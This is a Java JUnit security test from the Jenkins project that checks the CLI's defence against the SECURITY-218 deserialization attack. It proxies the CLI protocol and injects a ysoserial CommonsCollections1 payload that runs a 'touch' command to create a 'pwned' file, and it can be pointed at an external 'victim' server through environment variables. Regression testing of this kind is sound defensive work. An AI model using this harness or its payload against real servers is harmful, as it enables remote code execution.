/*
* The MIT License
*
* Copyright 2015 CloudBees, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package jenkins.security;
import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;
import hudson.cli.CLI;
import hudson.cli.CliPort;
import hudson.remoting.BinarySafeStream;
import hudson.util.DaemonThreadFactory;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
import jenkins.security.security218.ysoserial.util.Serializables;
import static org.junit.Assert.*;
import org.junit.Test;
import org.junit.Rule;
import org.jvnet.hudson.test.JenkinsRule;
import org.jvnet.hudson.test.recipes.PresetData;
public class Security218BlackBoxTest {
private static final String overrideURL = System.getenv("VICTIM_JENKINS_URL");
private static final String overrideHome = System.getenv("VICTIM_JENKINS_HOME");
static {
assertTrue("$JENKINS_URL and $JENKINS_HOME must both be defined together", (overrideURL == null) == (overrideHome == null));
}
private static final ExecutorService executors = Executors.newCachedThreadPool(new DaemonThreadFactory());
@Rule
public JenkinsRule r = new JenkinsRule();
@SuppressWarnings("deprecation") // really mean to use getPage(String)
@PresetData(PresetData.DataSet.ANONYMOUS_READONLY) // TODO userContent inaccessible without authentication otherwise
@Test
public void probe() throws Exception {
JenkinsRule.WebClient wc = r.createWebClient();
final URL url = overrideURL == null ? r.getURL() : new URL(overrideURL);
wc.getPage(url + "userContent/readme.txt");
try {
wc.getPage(url + "userContent/pwned");
fail("already compromised?");
} catch (FailingHttpStatusCodeException x) {
assertEquals(404, x.getStatusCode());
}
for (int round = 0; round < 2; round++) {
final int _round = round;
final ServerSocket proxySocket = new ServerSocket(0);
executors.submit(new Runnable() {
@Override
public void run() {
try {
Socket proxy = proxySocket.accept();
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
String host = conn.getHeaderField("X-Jenkins-CLI-Host");
Socket real = new Socket(host == null ? url.getHost() : host, conn.getHeaderFieldInt("X-Jenkins-CLI-Port", -1));
final InputStream realIS = real.getInputStream();
final OutputStream realOS = real.getOutputStream();
final InputStream proxyIS = proxy.getInputStream();
final OutputStream proxyOS = proxy.getOutputStream();
executors.submit(new Runnable() {
@Override
public void run() {
try {
// Read up to \x00\x00\x00\x00, end of header.
int nullCount = 0;
ByteArrayOutputStream buf = new ByteArrayOutputStream();
int c;
while ((c = realIS.read()) != -1) {
proxyOS.write(c);
buf.write(c);
if (c == 0) {
if (++nullCount == 4) {
break;
}
} else {
nullCount = 0;
}
}
System.err.print("← ");
display(buf.toByteArray());
System.err.println();
// Now assume we are in chunked transport.
PACKETS: while (true) {
buf.reset();
//System.err.println("reading one packet");
while (true) { // one packet, ≥1 chunk
//System.err.println("reading one chunk");
int hi = realIS.read();
if (hi == -1) {
break PACKETS;
}
proxyOS.write(hi);
int lo = realIS.read();
proxyOS.write(lo);
boolean hasMore = (hi & 0x80) > 0;
if (hasMore) {
hi &= 0x7F;
}
int len = hi * 0x100 + lo;
//System.err.printf("waiting for %X bytes%n", len);
for (int i = 0; i < len; i++) {
c = realIS.read();
proxyOS.write(c);
buf.write(c);
}
if (hasMore) {
continue;
}
System.err.print("← ");
byte[] data = buf.toByteArray();
//display(data);
showSer(data);
System.err.println();
break;
}
}
} catch (IOException x) {
x.printStackTrace();
}
}
});
executors.submit(new Runnable() {
@Override
public void run() {
try {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
ByteArrayOutputStream toCopy = new ByteArrayOutputStream();
int c;
int nullCount = 0;
while ((c = proxyIS.read()) != -1) {
toCopy.write(c);
buf.write(c);
if (c == 0) {
if (++nullCount == 4) {
break;
}
} else {
nullCount = 0;
}
}
if (_round == 0) {
System.err.println("injecting payload into capability negotiation");
// replacing \x00\x14Protocol:CLI-connect<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00
new DataOutputStream(realOS).writeUTF("Protocol:CLI-connect"); // TCP agent protocol
byte[] PREAMBLE = "<===[JENKINS REMOTING CAPACITY]===>".getBytes("UTF-8"); // Capability
realOS.write(PREAMBLE);
OutputStream bss = BinarySafeStream.wrap(realOS);
bss.write(payload());
bss.flush();
} else {
System.err.print("→ ");
display(buf.toByteArray());
System.err.println();
realOS.write(toCopy.toByteArray());
}
int packet = 0;
PACKETS: while (true) {
buf.reset();
toCopy.reset();
while (true) {
int hi = proxyIS.read();
if (hi == -1) {
break PACKETS;
}
toCopy.write(hi);
int lo = proxyIS.read();
toCopy.write(lo);
boolean hasMore = (hi & 0x80) > 0;
if (hasMore) {
hi &= 0x7F;
}
int len = hi * 0x100 + lo;
for (int i = 0; i < len; i++) {
c = proxyIS.read();
toCopy.write(c);
buf.write(c);
}
if (hasMore) {
continue;
}
if (++packet == _round) {
System.err.println("injecting payload into packet");
byte[] data = payload();
realOS.write(data.length / 256);
realOS.write(data.length % 256);
realOS.write(data);
} else {
System.err.print("→ ");
byte[] data = buf.toByteArray();
//display(data);
showSer(data);
System.err.println();
realOS.write(toCopy.toByteArray());
}
break;
}
}
} catch (Exception x) {
x.printStackTrace();
}
}
});
} catch (IOException x) {
x.printStackTrace();
}
}
});
try {
executors.submit(new Runnable() {
@Override
public void run() {
// Bypassing _main because it does nothing interesting here.
// Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff.
try {
new CLI(r.getURL()) {
@Override
protected CliPort getCliTcpPort(String url) throws IOException {
return new CliPort(new InetSocketAddress(proxySocket.getInetAddress(), proxySocket.getLocalPort()), /* ignore identity */ null, 1);
}
}.execute("help");
} catch (Exception x) {
x.printStackTrace();
}
}
}).get(5, TimeUnit.SECONDS);
} catch (TimeoutException x) {
System.err.println("CLI command timed out");
}
try {
wc.getPage(url + "userContent/pwned");
fail("Pwned!");
} catch (FailingHttpStatusCodeException x) {
assertEquals(404, x.getStatusCode());
}
}
}
private static synchronized void display(byte[] data) {
for (byte c : data) {
if (c >= ' ' && c <= '~') {
System.err.write(c);
} else {
System.err.printf("\\x%02X", c);
}
}
}
private static synchronized void showSer(byte[] data) {
try {
Object o = Serializables.deserialize(data);
System.err.print(o);
} catch (Exception x) {
System.err.printf("<%s>", x);
}
}
/** An attack payload, as a Java serialized object ({@code \xAC\ED…}). */
private byte[] payload() throws Exception {
File home = overrideHome == null ? r.jenkins.root : new File(overrideHome);
// TODO find a Windows equivalent
return Serializables.serialize(new CommonsCollections1().getObject("touch " + new File(new File(home, "userContent"), "pwned")));
}
}